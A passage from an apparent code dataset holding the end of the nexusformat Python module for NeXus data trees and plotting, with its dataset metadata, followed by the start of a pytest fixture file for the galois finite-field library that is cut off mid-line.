if isinstance(ind, slice) and ind.stop is not None:\n                        ind = slice(ind.start, ind.stop-1, ind.step)\n                    axes[i] = axes[i][ind]\n                slices.append(ind)\n            else:\n                ind = convert_index(ind, axes[i])\n                slices.append(ind)\n                if (isinstance(ind, slice) and ind.stop is not None\n                    and signal.shape[i] < axes[i].shape[0]):\n                    ind = slice(ind.start, ind.stop+1, ind.step)\n                axes[i] = axes[i][ind]\n        return tuple(slices), axes\n\n    @property\n    def plottable_data(self):\n        \"\"\"\n        Returns self.\n        \"\"\"\n        if self.nxsignal is not None:\n            return self\n        else:\n            return None\n\n    @property\n    def plot_shape(self):\n        if self.nxsignal is not None:\n            return self.nxsignal.plot_shape\n        else:\n            return None\n\n    @property\n    def plot_rank(self):\n        if self.nxsignal is not None:\n            return self.nxsignal.plot_rank\n        else:\n            return None\n\n    @property\n    def plot_axes(self):\n        signal = self.nxsignal\n        if signal is not None:\n            if len(signal.shape) > len(signal.plot_shape):\n                axes = self.nxaxes\n                newaxes = []\n                for i in range(signal.ndim):\n                    if signal.shape[i] > 1: \n                        newaxes.append(axes[i])\n                return newaxes\n            else:\n                return self.nxaxes\n        else:\n            return None\n\n    def plot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n             vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plot data contained within the group.\n\n        The format argument is used to set the color and type of the\n        markers or lines for one-dimensional plots, using the standard \n        Matplotlib syntax. The default is set to blue circles. All \n        keyword arguments accepted by matplotlib.pyplot.plot can be\n        used to customize the plot.\n        \n        In addition to the matplotlib keyword arguments, the following\n        are defined::\n        \n            log = True     - plot the intensity on a log scale\n            logy = True    - plot the y-axis on a log scale\n            logx = True    - plot the x-axis on a log scale\n            over = True    - plot on the current figure\n            image = True   - plot as an RGB(A) image\n\n        Raises NeXusError if the data could not be plotted.\n        \"\"\"\n\n        # Check there is a plottable signal\n        signal = self.nxsignal\n        if signal is None:\n            raise NeXusError(\"No plotting signal defined\")\n        elif not signal.exists():\n            raise NeXusError(\"Data for '%s' does not exist\" % signal.nxpath)\n        elif not signal.is_plottable():\n            raise NeXusError(\"'%s' is not plottable\" % signal.nxpath)\n        else:\n            axes = self.plot_axes\n            if axes is not None and not self.nxsignal.valid_axes(axes):\n                raise NeXusError(\"Defined axes not compatible with the signal\")\n\n        # Plot with the available plotter\n        try:\n            from __main__ import plotview\n            if plotview is None:\n                raise ImportError\n        except ImportError:\n            from .plot import plotview\n            \n        plotview.plot(self, fmt, xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, \n                      vmin=vmin, vmax=vmax, **kwargs)\n    \n    def oplot(self, fmt='', **kwargs):\n        \"\"\"\n        Plots the data contained within the group over the current figure.\n        \"\"\"\n        self.plot(fmt=fmt, over=True, **kwargs)\n\n    def logplot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n                vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plots the data intensity contained within the group on a log scale.\n        \"\"\"\n        self.plot(fmt=fmt, log=True,\n                  xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax,\n                  vmin=vmin, vmax=vmax, **kwargs)\n\n    def implot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n                vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plots the data intensity as an image.\n        \"\"\"\n        if (self.nxsignal.plot_rank > 2 and \n            (self.nxsignal.shape[-1] == 3 or self.nxsignal.shape[-1] == 4)):\n            self.plot(fmt=fmt, image=True,\n                      xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax,\n                      vmin=vmin, vmax=vmax, **kwargs)\n        else:\n            raise NeXusError(\"Invalid shape for RGB(A) image\")\n\n    @property\n    def nxsignal(self):\n        \"\"\"\n        Returns the NXfield containing the signal data.\n        \"\"\"\n        if 'signal' in self.attrs and self.attrs['signal'] in self:\n            return self[self.attrs['signal']]\n        for obj in self.values():\n            if 'signal' in obj.attrs and text(obj.attrs['signal']) == '1':\n                if isinstance(self[obj.nxname], NXlink):\n                    return self[obj.nxname].nxlink\n                else:\n                    return self[obj.nxname]\n        return None\n    \n    @nxsignal.setter\n    def nxsignal(self, signal):\n        \"\"\"\n        Setter for the signal attribute.\n        \n        The argument should be a valid NXfield within the group.\n        \"\"\"\n        current_signal = self.nxsignal\n        if current_signal is not None and current_signal is not signal:\n            if 'signal' in current_signal.attrs:\n                del current_signal.attrs['signal']\n        self.attrs['signal'] = signal.nxname\n        if signal not in self:\n            self[signal.nxname] = signal\n\n    @property\n    def nxaxes(self):\n        \"\"\"\n        Returns a list of NXfields containing the axes.\n        \"\"\"\n        def empty_axis(i):\n            return NXfield(np.arange(self.nxsignal.shape[i]), name='Axis%s'%i)\n        def plot_axis(axis):\n            return NXfield(axis.nxvalue, name=axis.nxname, attrs=axis.attrs) \n        try:\n            if 'axes' in self.attrs:\n                axis_names = _readaxes(self.attrs['axes'])\n            elif self.nxsignal is not None and 'axes' in self.nxsignal.attrs:\n                axis_names = _readaxes(self.nxsignal.attrs['axes'])\n            axes = [None] * len(axis_names)\n            for i, axis_name in enumerate(axis_names):\n                axis_name = axis_name.strip()\n                if axis_name == '' or axis_name == '.':\n                    axes[i] = empty_axis(i)\n                else:\n                    axes[i] = plot_axis(self[axis_name])\n            return axes\n        except (AttributeError, IndexError, KeyError, UnboundLocalError):\n            axes = {}\n            for entry in self:\n                if 'axis' in self[entry].attrs:\n                    axis = self[entry].attrs['axis']\n                    if axis not in axes and self[entry] is not self.nxsignal:\n                        axes[axis] = self[entry]\n                    else:\n                        return None\n            if axes:\n                return [plot_axis(axes[axis]) for axis in sorted(axes)]\n            elif self.nxsignal is not None:\n                return [NXfield(np.arange(self.nxsignal.shape[i]), \n                        name='Axis%s'%i) for i in range(self.nxsignal.ndim)]\n            return None\n\n    @nxaxes.setter\n    def nxaxes(self, axes):\n        \"\"\"\n        Setter for the axes attribute.\n        \n        The argument should be a list of valid NXfields, which are added, if \n        necessary to the group. Values of None in the list denote missing axes. \n        \"\"\"\n        if not is_iterable(axes):\n            axes = [axes]\n        axes_attr = []\n        for axis in axes:\n            if axis is None:\n                axes_attr.append('.')\n            else:\n                axes_attr.append(axis.nxname)\n                if axis not in self:\n                    self[axis.nxname] = axis\n        self.attrs['axes'] = axes_attr\n\n    @property\n    def nxerrors(self):\n        \"\"\"\n        Returns the NXfield containing the signal errors.\n        \"\"\"\n        if self.nxsignal is not None: \n            if ('uncertainties' in self.nxsignal.attrs and\n                self.nxsignal.attrs['uncertainties'] in self):\n                return self[self.nxsignal.attrs['uncertainties']]\n            elif self.nxsignal.nxname+'_errors' in self:\n                return self[self.nxsignal.nxname+'_errors']\n        try:\n            return self['errors']\n        except KeyError:\n            return None\n\n    @nxerrors.setter\n    def nxerrors(self, errors):\n        \"\"\"\n        Setter for the errors.\n        \n        The argument should be a valid NXfield.\n        \"\"\"\n        if self.nxsignal is not None:\n            name = self.nxsignal.nxname+'_errors'\n            self.nxsignal.attrs['uncertainties'] = name\n        else:\n            name = 'errors'\n        self[name] = errors\n        return self.entries[name]\n\n    @property\n    def mask(self):\n        \"\"\"Returns the signal mask if one exists.\"\"\"\n        if self.nxsignal is not None:\n            return self.nxsignal.mask\n        else:\n            return None\n\n    @mask.setter\n    def mask(self, value):\n        \"\"\"Sets a value for the signal mask if it exists.\n        \n        This can only be used with a value of np.ma.nomask to remove the mask.\n        \"\"\"\n        if value is np.ma.nomask and self.nxsignal.mask is not None:\n            self.nxsignal.mask = np.ma.nomask\n            if isinstance(self.nxsignal.mask, NXfield):\n                del self[self.nxsignal.mask.nxname]\n            if 'mask' in self.nxsignal.attrs:\n                del self.nxsignal.attrs['mask']\n\n\nclass NXmonitor(NXdata):\n\n    \"\"\"\n    NXmonitor group. This is a subclass of the NXdata class.\n\n    See the NXdata and NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, signal=None, axes=None, *args, **kwargs):\n        NXdata.__init__(self, signal=signal, axes=axes, *args, **kwargs)\n        self._class = \"NXmonitor\"\n        if \"name\" not in kwargs:\n            self._name = \"monitor\"\n\n\nclass NXlog(NXgroup):\n\n    \"\"\"\n    NXlog group. This is a subclass of the NXgroup class.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXlog\"\n        NXgroup.__init__(self, *args, **kwargs)\n\n    def plot(self, **kwargs):\n        \"\"\"\n        Plots the logged values against the elapsed time. Valid Matplotlib \n        parameters, specifying markers, colors, etc, can be specified using the \n        'kwargs' dictionary.\n        \"\"\"\n        title = NXfield(\"%s Log\" % self.nxname)\n        if 'start' in self['time'].attrs:\n            title = title + ' - starting at ' + self['time'].attrs['start']\n        NXdata(self['value'], self['time'], title=title).plot(**kwargs)\n\n\nclass NXprocess(NXgroup):\n\n    \"\"\"\n    NXprocess group. This is a subclass of the NXgroup class.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXprocess\"\n        NXgroup.__init__(self, *args, **kwargs)\n        if \"date\" not in self:\n            from datetime import datetime as dt\n            self.date = dt.isoformat(dt.today())\n\n\nclass NXnote(NXgroup):\n\n    \"\"\"\n    NXnote group. This is a subclass of the NXgroup class.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXnote\"\n        NXgroup.__init__(self, **kwargs)\n        for arg in args:\n            if is_text(arg):\n                if \"description\" not in self:\n                    self.description = arg\n                elif \"data\" not in self:\n                    self.data = arg\n            elif isinstance(arg, NXobject):\n                setattr(self, arg.nxname, arg)\n            else:\n                raise NeXusError(\n                    \"Non-keyword arguments must be valid NXobjects\")\n        if \"date\" not in self:\n            from datetime import datetime as dt\n            self.date = dt.isoformat(dt.today())\n\n\n#-------------------------------------------------------------------------\n#Add remaining base classes as subclasses of NXgroup and append to __all__\n\nfor cls in nxclasses:\n    if cls not in globals():\n        globals()[cls] = _makeclass(cls)\n    __all__.append(cls)\n\n#-------------------------------------------------------------------------\ndef is_real_slice(idx):\n    def is_not_real(i):\n        if ((isinstance(i.start, numbers.Integral) or i.start is None) and\n               (isinstance(i.stop, numbers.Integral) or i.stop is None)):\n            return True\n        else:\n            return False\n    if idx is None or isinstance(idx, numbers.Integral):\n        return False\n    elif isinstance(idx, numbers.Real):\n        return True\n    elif isinstance(idx, slice):\n        if is_not_real(idx):\n            return False\n        else:\n            return True\n    else:\n        for ind in idx:\n            if isinstance(ind, slice):\n                if not is_not_real(ind):\n                    return True\n            elif ind is not None and not isinstance(ind, numbers.Integral):\n                return True\n        return False\n\ndef convert_index(idx, axis):\n    \"\"\"\n    Converts floating point limits to a valid array index.\n    \n    This is for one-dimensional axes only. If the index is a tuple of slices, \n    i.e., for two or more dimensional data, the index is returned unchanged.\n    \"\"\"\n    if is_real_slice(idx) and axis.ndim > 1: \n        raise NeXusError(\n            \"NXfield must be one-dimensional for floating point slices\")\n    elif is_iterable(idx) and len(idx) > axis.ndim:\n        raise NeXusError(\"Slice dimension incompatible with NXfield\")\n    if axis.size == 1:\n        idx = 0\n    elif isinstance(idx, slice) and not is_real_slice(idx):\n        if idx.start is not None and idx.stop is not None:\n            if idx.stop == idx.start or idx.stop == idx.start + 1:\n                idx = idx.start\n    elif isinstance(idx, slice):\n        if isinstance(idx.start, NXfield) and isinstance(idx.stop, NXfield):\n            idx = slice(idx.start.nxdata, idx.stop.nxdata, idx.step)\n        if (idx.start is not None and idx.stop is not None and\n            ((axis.reversed and idx.start < idx.stop) or\n             (not axis.reversed and idx.start > idx.stop))):\n            idx = slice(idx.stop, idx.start, idx.step)\n        if idx.start is None:\n            start = None\n        else:\n            start = axis.index(idx.start)\n        if idx.stop is None:\n            stop = None\n        else:\n            stop = axis.index(idx.stop, max=True) + 1\n        if start is None or stop is None:\n            idx = slice(start, stop, idx.step)\n        elif stop <= start+1 or np.isclose(idx.start, idx.stop):\n            idx = start\n        else:\n            idx = slice(start, stop, idx.step)\n    elif (not isinstance(idx, numbers.Integral) and\n             isinstance(idx, numbers.Real)):\n        idx = axis.index(idx)\n    return idx\n\ndef centers(signal, axes):\n    \"\"\"\n    Returns the centers of the axes.\n\n    This works regardless if the axes contain bin boundaries or centers.\n    \"\"\"\n    def findc(axis, dimlen):\n        if axis.shape[0] == dimlen+1:\n            return (axis.nxdata[:-1] + axis.nxdata[1:]) / 2\n        else:\n            assert axis.shape[0] == dimlen\n            return axis.nxdata\n    return [findc(a,signal.shape[i]) for i,a in enumerate(axes)]\n\ndef getlock():\n    \"\"\"Return the number of seconds before a lock acquisition times out.\n\n    If the value is 0, file locking is disabled.\n    \n    Returns\n    -------\n    int\n        Number of seconds before a lock acquisition times out.\n    \"\"\"\n    return NX_LOCK\n    \ndef setlock(value=10):\n    \"\"\"Initialize NeXus file locking.\n\n    This creates a file with `.lock` appended to the NeXus file name.\n    \n    Parameters\n    ----------\n    value : int, optional\n        Number of seconds before a lock acquisition times out, by default 10.\n        If the value is set to 0, file locking is disabled.\n    \"\"\"\n    global NX_LOCK\n    NX_LOCK = int(value)\n\nnxgetlock = getlock\nnxsetlock = setlock\n\ndef getmemory():\n    \"\"\"\n    Returns the memory limit for data arrays (in MB).\n    \"\"\"\n    return NX_MEMORY\n\ndef setmemory(value):\n    \"\"\"\n    Sets the memory limit for data arrays (in MB).\n    \"\"\"\n    global NX_MEMORY\n    NX_MEMORY = value\n\nnxgetmemory = getmemory\nnxsetmemory = setmemory\n\ndef getcompression():\n    \"\"\"\n    Returns default compression filter.\n    \"\"\"\n    return NX_COMPRESSION\n\ndef setcompression(value):\n    \"\"\"\n    Sets default compression filter.\n    \"\"\"\n    global NX_COMPRESSION\n    if value == 'None':\n        value = None\n    NX_COMPRESSION = value\n\nnxgetcompression = getcompression\nnxsetcompression = setcompression\n\ndef getencoding():\n    \"\"\"\n    Returns the default encoding for input strings (usually 'utf-8').\n    \"\"\"\n    return NX_ENCODING\n\ndef setencoding(value):\n    \"\"\"\n    Sets the default encoding for input strings (usually 'utf-8').\n    \"\"\"\n    global NX_ENCODING\n    NX_ENCODING = value\n\nnxgetencoding = getencoding\nnxsetencoding = setencoding\n\ndef getmaxsize():\n    \"\"\"\n    Returns the default maximum size for arrays without using core memory.\n    \"\"\"\n    return NX_MAXSIZE\n\ndef setmaxsize(value):\n    \"\"\"\n    Sets the default maximum size for arrays without using core memory.\n    \"\"\"\n    global NX_MAXSIZE\n    NX_MAXSIZE = value\n\nnxgetmaxsize = getmaxsize\nnxsetmaxsize = setmaxsize\n\n# File level operations\ndef load(filename, mode='r'):\n    \"\"\"\n    Reads a NeXus file returning a tree of objects.\n\n    This is aliased to 'nxload' because of potential name clashes with Numpy\n    \"\"\"\n    with NXFile(filename, mode) as f:\n        root = f.readfile()\n    return root\n\nnxload = load\n\ndef save(filename, group, mode='w', **kwargs):\n    \"\"\"\n    Writes a NeXus file from a tree of objects.\n    \"\"\"\n    if group.nxclass == \"NXroot\":\n        root = group\n    elif group.nxclass == \"NXentry\":\n        root = NXroot(group)\n    else:\n        root = NXroot(NXentry(group))\n    with NXFile(filename, mode, **kwargs) as f:\n        f.writefile(root)\n        f.close()\n \nnxsave = save\n\ndef duplicate(input_file, output_file, mode='w-', **kwargs):\n    with NXFile(input_file, 'r') as input, NXFile(output_file, mode) as output:\n        output.copyfile(input, **kwargs)\n\nnxduplicate = duplicate\n\ndef directory(filename):\n    \"\"\"\n    Outputs contents of the named NeXus file.\n    \"\"\"\n    root = load(filename)\n    print(root.tree)\n\nnxdir = directory\n\n\ndef demo(argv):\n    \"\"\"\n    Processes a list of command line commands.\n\n    'argv' should contain program name, command, arguments, where command is one\n    of the following:\n        copy fromfile.nxs tofile.nxs\n        ls f1.nxs f2.nxs ...\n    \"\"\"\n    if len(argv) > 1:\n        op = argv[1]\n    else:\n        op = 'help'\n    if op == 'ls':\n        for f in argv[2:]: dir(f)\n    elif op == 'copy' and len(argv)==4:\n        tree = load(argv[2])\n        save(argv[3], tree)\n    elif op == 'plot' and len(argv)==4:\n        tree = load(argv[2])\n        for entry in argv[3].split('.'):\n            tree = getattr(tree,entry)\n        tree.plot()\n        tree._plotter.show()\n\n    else:\n        usage = \"\"\"\n    usage: %s cmd [args]\n    copy fromfile.nxs tofile.nxs\n    ls *.nxs\n    plot file.nxs entry.data\n        \"\"\"%(argv[0],)\n        print(usage)\n\nnxdemo = demo\n\n\nif __name__ == \"__main__\":\n    import sys\n    nxdemo(sys.argv)\n", "meta": {"hexsha": "ac15dfe2e36fd071a7201019e464c91f1da26fdb", "size": 206238, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/nexusformat/nexus/tree.py", "max_stars_repo_name": "tschoonj/nexusformat", "max_stars_repo_head_hexsha": "a521170ec56c9631980b65e264bd9afcdbc164e8", "max_stars_repo_licenses": ["BSD-3-Clause-Clear"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/nexusformat/nexus/tree.py", "max_issues_repo_name": "tschoonj/nexusformat", "max_issues_repo_head_hexsha": "a521170ec56c9631980b65e264bd9afcdbc164e8", "max_issues_repo_licenses": ["BSD-3-Clause-Clear"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/nexusformat/nexus/tree.py", "max_forks_repo_name": "tschoonj/nexusformat", "max_forks_repo_head_hexsha": "a521170ec56c9631980b65e264bd9afcdbc164e8", "max_forks_repo_licenses": ["BSD-3-Clause-Clear"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.0149405772, "max_line_length": 95, "alphanum_fraction": 0.5645176932, "include": true, "reason": "import numpy", "num_tokens": 46997, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11124120208786167, "lm_q1q2_score": 0.05562060104393084}}
{"text": "\"\"\"\nA pytest conftest module that provides pytest fixtures for galois/fields/ tests.\n\"\"\"\nimport json\nimport os\nimport pickle\n\nimport pytest\nimport numpy as np\n\nimport galois\n\nPATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\n\nFIELDS = [\n    pytest.param(\"GF(2)\"),\n\n    pytest.param(\"GF(2^2)\"),\n    pytest.param(\"GF(2^3)\"),\n    pytest.param(\"GF(2^8)\"),\n    pytest.param(\"GF(2^32)\"),\n    pytest.param(\"GF(2^100)\"),\n\n    pytest.param(\"GF(5)\"),\n    pytest.param(\"GF(7)\"),\n    pytest.param(\"GF(31)\"),\n    pytest.param(\"GF(3191)\"),\n    pytest.param(\"GF(2147483647)\"),\n    pytest.param(\"GF(36893488147419103183)\"),\n\n    pytest.param(\"GF(7^3)\"),\n    pytest.param(\"GF(109987^4)\"),\n]\n\nFIELDS_DIFF_MODES = [\n    pytest.param(\"GF(2)-jit-calculate\"),\n\n    pytest.param(\"GF(2^2)-jit-lookup\"),\n    pytest.param(\"GF(2^2)-jit-calculate\"),\n    pytest.param(\"GF(2^3)-jit-lookup\"),\n    pytest.param(\"GF(2^3)-jit-calculate\"),\n    pytest.param(\"GF(2^8)-jit-lookup\"),\n    pytest.param(\"GF(2^8)-jit-calculate\"),\n    pytest.param(\"GF(2^8, 283, 19)-jit-lookup\"),\n    pytest.param(\"GF(2^8, 283, 19)-jit-calculate\"),\n    pytest.param(\"GF(2^32)-jit-calculate\"),\n    pytest.param(\"GF(2^100)-python-calculate\"),\n\n    pytest.param(\"GF(5)-jit-lookup\"),\n    pytest.param(\"GF(5)-jit-calculate\"),\n    pytest.param(\"GF(7)-jit-lookup\"),\n    pytest.param(\"GF(7)-jit-calculate\"),\n    pytest.param(\"GF(31)-jit-lookup\"),\n    pytest.param(\"GF(31)-jit-calculate\"),\n    pytest.param(\"GF(3191)-jit-lookup\"),\n    pytest.param(\"GF(3191)-jit-calculate\"),\n    pytest.param(\"GF(2147483647)-jit-calculate\"),\n    pytest.param(\"GF(36893488147419103183)-python-calculate\"),\n\n    pytest.param(\"GF(7^3)-jit-lookup\"),\n    pytest.param(\"GF(7^3)-jit-calculate\"),\n    pytest.param(\"GF(7^3, 643, 244)-jit-lookup\"),\n    pytest.param(\"GF(7^3, 643, 244)-jit-calculate\"),\n    pytest.param(\"GF(109987^4)-python-calculate\"),\n]\n\n\ndef construct_field(folder):\n    if len(folder.split(\"-\")) >= 2:\n        folder, ufunc_mode = folder.split(\"-\", maxsplit=1)\n    else:\n        ufunc_mode = \"auto\"\n\n    if folder == \"GF(2)\":\n        GF = galois.GF2\n\n    elif folder == \"GF(5)\":\n        GF = galois.GF(5, compile=ufunc_mode)\n    elif folder == \"GF(7)\":\n        GF = galois.GF(7, compile=ufunc_mode)\n    elif folder == \"GF(31)\":\n        GF = galois.GF(31, compile=ufunc_mode)\n    elif folder == \"GF(3191)\":\n        GF = galois.GF(3191, compile=ufunc_mode)\n    elif folder == \"GF(2147483647)\":\n        GF = galois.GF(2147483647, compile=ufunc_mode)\n    elif folder == \"GF(36893488147419103183)\":\n        GF = galois.GF(36893488147419103183, compile=ufunc_mode)\n\n    elif folder == \"GF(2^2)\":\n        GF = galois.GF(2**2, compile=ufunc_mode)\n    elif folder == \"GF(2^3)\":\n        GF = galois.GF(2**3, compile=ufunc_mode)\n    elif folder == \"GF(2^8)\":\n        GF = galois.GF(2**8, compile=ufunc_mode)\n    elif folder == \"GF(2^8, 283, 19)\":\n        GF = galois.GF(2**8, irreducible_poly=283, primitive_element=19, compile=ufunc_mode)\n    elif folder == \"GF(2^32)\":\n        GF = galois.GF(2**32, compile=ufunc_mode)\n    elif folder == \"GF(2^100)\":\n        GF = galois.GF(2**100, compile=ufunc_mode)\n\n    elif folder == \"GF(7^3)\":\n        GF = galois.GF(7**3, compile=ufunc_mode)\n    elif folder == \"GF(7^3, 643, 244)\":\n        GF = galois.GF(7**3, irreducible_poly=643, primitive_element=244, compile=ufunc_mode)\n    elif folder == \"GF(109987^4)\":\n        GF = galois.GF(109987**4, compile=ufunc_mode)\n\n    else:\n        raise AssertionError(f\"Test data folder {folder} not found\")\n\n    return GF, ufunc_mode, os.path.join(PATH, folder)\n\n\ndef read_json(field_folder, filename):\n    GF, folder = field_folder\n    with open(os.path.join(folder, filename), \"rb\") as f:\n        d = json.load(f)\n    return GF, d\n\n\ndef read_pickle(field_folder, filename):\n    GF, folder = field_folder\n    with open(os.path.join(folder, filename), \"rb\") as f:\n        print(f\"Loading {f}...\")\n        d = pickle.load(f)\n    return GF, d\n\n\n###############################################################################\n# Fixtures for iterating over each finite field\n###############################################################################\n\n@pytest.fixture(scope=\"session\", params=FIELDS)\ndef field(request):\n    folder = request.param\n    return construct_field(folder)[0]\n\n\n@pytest.fixture(scope=\"session\", params=FIELDS_DIFF_MODES)\ndef field_folder(request):\n    folder = request.param\n    field, ufunc_mode, folder = construct_field(folder)\n    return field, folder\n\n\n###############################################################################\n# Fixtures for arithmetic over finite fields\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef field_properties(field_folder):\n    GF, d = read_json(field_folder, \"properties.json\")\n    d[\"GF\"] = GF\n    d[\"characteristic\"] = d[\"characteristic\"]\n    d[\"degree\"] = d[\"degree\"]\n    d[\"order\"] = d[\"order\"]\n    d[\"primitive_element\"] = d[\"primitive_element\"]\n    d[\"irreducible_poly\"] = galois.Poly(d[\"irreducible_poly\"], field=galois.GF(d[\"characteristic\"]))\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_add(field_folder):\n    GF, d = read_pickle(field_folder, \"add.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = GF(Y)\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_subtract(field_folder):\n    GF, d = read_pickle(field_folder, \"subtract.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = GF(Y)\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_multiply(field_folder):\n    GF, d = read_pickle(field_folder, \"multiply.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = GF(Y)\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_divide(field_folder):\n    GF, d = read_pickle(field_folder, \"divide.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = GF(Y)\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_additive_inverse(field_folder):\n    GF, d = read_pickle(field_folder, \"additive_inverse.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_multiplicative_inverse(field_folder):\n    GF, d = read_pickle(field_folder, \"multiplicative_inverse.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_scalar_multiply(field_folder):\n    GF, d = read_pickle(field_folder, \"scalar_multiply.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = Y\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_power(field_folder):\n    GF, d = read_pickle(field_folder, \"power.pkl\")\n    d[\"GF\"] = GF\n    X, Y = np.meshgrid(d[\"X\"], d[\"Y\"], indexing=\"ij\")\n    d[\"X\"] = GF(X)\n    d[\"Y\"] = Y\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_log(field_folder):\n    GF, d = read_pickle(field_folder, \"log.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = d[\"Z\"]\n    return d\n\n\n###############################################################################\n# Fixtures for linear algebra over finite fields\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef field_matrix_multiply(field_folder):\n    GF, d = read_pickle(field_folder, \"matrix_multiply.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Y\"] = [GF(y) for y in d[\"Y\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_row_reduce(field_folder):\n    GF, d = read_pickle(field_folder, \"row_reduce.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_lu_decompose(field_folder):\n    GF, d = read_pickle(field_folder, \"lu_decompose.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"L\"] = [GF(l) for l in d[\"L\"]]\n    d[\"U\"] = [GF(u) for u in d[\"U\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_plu_decompose(field_folder):\n    GF, d = read_pickle(field_folder, \"plu_decompose.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"P\"] = [GF(p) for p in d[\"P\"]]\n    d[\"L\"] = [GF(l) for l in d[\"L\"]]\n    d[\"U\"] = [GF(u) for u in d[\"U\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_matrix_inverse(field_folder):\n    GF, d = read_pickle(field_folder, \"matrix_inverse.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_matrix_determinant(field_folder):\n    GF, d = read_pickle(field_folder, \"matrix_determinant.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = GF(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_matrix_solve(field_folder):\n    GF, d = read_pickle(field_folder, \"matrix_solve.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Y\"] = [GF(y) for y in d[\"Y\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_row_space(field_folder):\n    GF, d = read_pickle(field_folder, \"row_space.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_column_space(field_folder):\n    GF, d = read_pickle(field_folder, \"column_space.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in 